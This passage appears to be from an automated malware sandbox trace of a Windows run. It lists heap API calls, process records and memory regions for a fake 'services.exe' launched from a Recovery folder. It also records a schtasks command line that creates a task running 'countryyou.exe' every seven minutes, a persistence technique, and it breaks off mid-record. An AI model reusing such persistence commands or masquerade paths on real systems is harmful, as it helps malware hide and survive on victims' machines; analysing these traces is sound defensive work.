[0071.926] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5af0) returned 0x20 [0071.927] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5af0 | out: hHeap=0x1e0000) returned 1 [0071.927] GetProcessHeap () returned 0x1e0000 [0071.927] GetProcessHeap () returned 0x1e0000 [0071.927] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b20) returned 1 [0071.927] GetProcessHeap () returned 0x1e0000 [0071.927] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b20) returned 0x20 [0071.927] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b20 | out: hHeap=0x1e0000) returned 1 [0071.927] GetProcessHeap () returned 0x1e0000 [0071.927] GetProcessHeap () returned 0x1e0000 [0071.927] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b50) returned 1 [0071.927] GetProcessHeap () returned 0x1e0000 [0071.927] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b50) returned 0x20 [0071.928] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b50 | out: hHeap=0x1e0000) returned 1 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb30) returned 1 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbb30) returned 0x18 [0071.928] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb30 | out: hHeap=0x1e0000) returned 1 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b80) returned 1 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b80) returned 0x20 [0071.928] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b80 | out: hHeap=0x1e0000) returned 1 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.928] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c10) returned 1 [0071.928] GetProcessHeap () returned 0x1e0000 [0071.929] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5c10) returned 0x20 [0071.929] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c10 | out: hHeap=0x1e0000) returned 1 [0071.929] GetProcessHeap () returned 0x1e0000 [0071.929] GetProcessHeap () returned 0x1e0000 [0071.929] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c70) returned 1 [0071.929] GetProcessHeap () returned 0x1e0000 [0071.929] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5c70) returned 0x20 [0071.929] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c70 | out: hHeap=0x1e0000) returned 1 [0071.929] GetProcessHeap () returned 0x1e0000 [0071.929] GetProcessHeap () returned 0x1e0000 [0071.929] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5cd0) returned 1 [0071.929] GetProcessHeap () returned 0x1e0000 [0071.929] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5cd0) returned 0x20 [0071.930] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5cd0 | out: hHeap=0x1e0000) returned 1 [0071.930] GetProcessHeap () returned 0x1e0000 [0071.930] GetProcessHeap () returned 0x1e0000 [0071.930] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5d00) returned 1 [0071.930] GetProcessHeap () returned 0x1e0000 [0071.930] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5d00) returned 0x20 [0071.930] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5d00 | out: hHeap=0x1e0000) returned 1 [0071.930] GetProcessHeap () returned 0x1e0000 [0071.930] GetProcessHeap () returned 0x1e0000 [0071.930] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb50) returned 1 [0071.930] GetProcessHeap () returned 0x1e0000 [0071.930] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbb50) returned 0x18 [0071.931] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb50 | out: hHeap=0x1e0000) returned 1 [0071.931] GetProcessHeap () returned 0x1e0000 [0071.931] GetProcessHeap () returned 0x1e0000 [0071.931] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c40) returned 1 [0071.931] GetProcessHeap () returned 0x1e0000 [0071.931] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5c40) returned 0x20 [0071.931] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c40 | out: hHeap=0x1e0000) returned 1 [0071.931] GetProcessHeap () returned 0x1e0000 [0071.931] GetProcessHeap () returned 0x1e0000 [0071.931] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbad0) returned 1 [0071.931] GetProcessHeap () returned 0x1e0000 [0071.931] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbad0) returned 0x18 [0071.931] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbad0 | out: hHeap=0x1e0000) returned 1 [0071.931] exit (_Code=0) Thread: id = 141 os_tid = 0xfd0 Process: id = "30" image_name = "services.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" page_root = "0x3c2b2000" os_pid = "0xfe0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3502 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3503 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3504 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3505 start_va = 0x2d0000 end_va = 0x3a7fff monitored = 1 entry_point = 0x39f1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 3506 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3507 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3508 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3509 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3510 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3511 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3512 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3513 start_va = 0x1c0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3514 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3515 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3516 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3517 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3518 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3519 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3520 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3521 start_va = 0x3b0000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3522 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3523 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3524 start_va = 0x530000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3525 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3526 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3527 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4011 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4012 start_va = 0x530000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 4013 start_va = 0x6f0000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 4014 start_va = 0x530000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 4015 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4016 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4017 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4018 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4019 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4020 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4021 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4022 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4501 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4502 start_va = 0x770000 end_va = 0x8f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4503 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4504 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4505 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4531 start_va = 0x900000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 4532 start_va = 0xa90000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 5027 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5028 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5029 start_va = 0x1e90000 end_va = 0x1f60fff monitored = 1 entry_point = 0x1f5f1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 5030 start_va = 0x1e90000 end_va = 0x1f60fff monitored = 1 entry_point = 0x1f5f1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 5031 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5032 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5033 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5034 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5035 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5405 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5566 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 5567 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5568 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 5676 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5677 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5678 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5679 start_va = 0x7fe91ee0000 end_va = 0x7fe91f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 5680 start_va = 0x7fe91f70000 end_va = 0x7fe91fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f70000" filename = "" Region: id = 5681 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 5682 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5683 start_va = 0x1e90000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 5684 start_va = 0x2020000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 5685 start_va = 0x2340000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 5686 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5687 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5688 start_va = 0x2440000 end_va = 0x1a43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 5815 start_va = 0x1a440000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a440000" filename = "" Region: id = 5816 start_va = 0x1e90000 end_va = 0x1f90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 5817 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 5818 start_va = 0x1a8f0000 end_va = 0x1a9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 5819 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6388 start_va = 0x2020000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 6389 start_va = 0x2160000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 6390 start_va = 0x1a7f0000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 6391 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6722 start_va = 0x1a9f0000 end_va = 0x1acbefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6723 start_va = 0x7feee920000 end_va = 0x7feeff1cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Thread: id = 162 os_tid = 0xfe4 Thread: id = 234 os_tid = 0x6f4 Thread: id = 250 os_tid = 0xcdc Thread: id = 263 os_tid = 0xa3c Process: id = "31" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d25b000" os_pid = "0xfe8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 7 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3018 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3019 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3020 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3021 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3022 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3023 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3024 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3025 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3026 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3027 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3028 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3029 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3030 start_va = 0x50000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3031 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3032 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3033 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3034 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3035 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3036 start_va = 0x160000 end_va = 0x1c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3037 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3038 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3039 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3040 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3041 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3042 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = 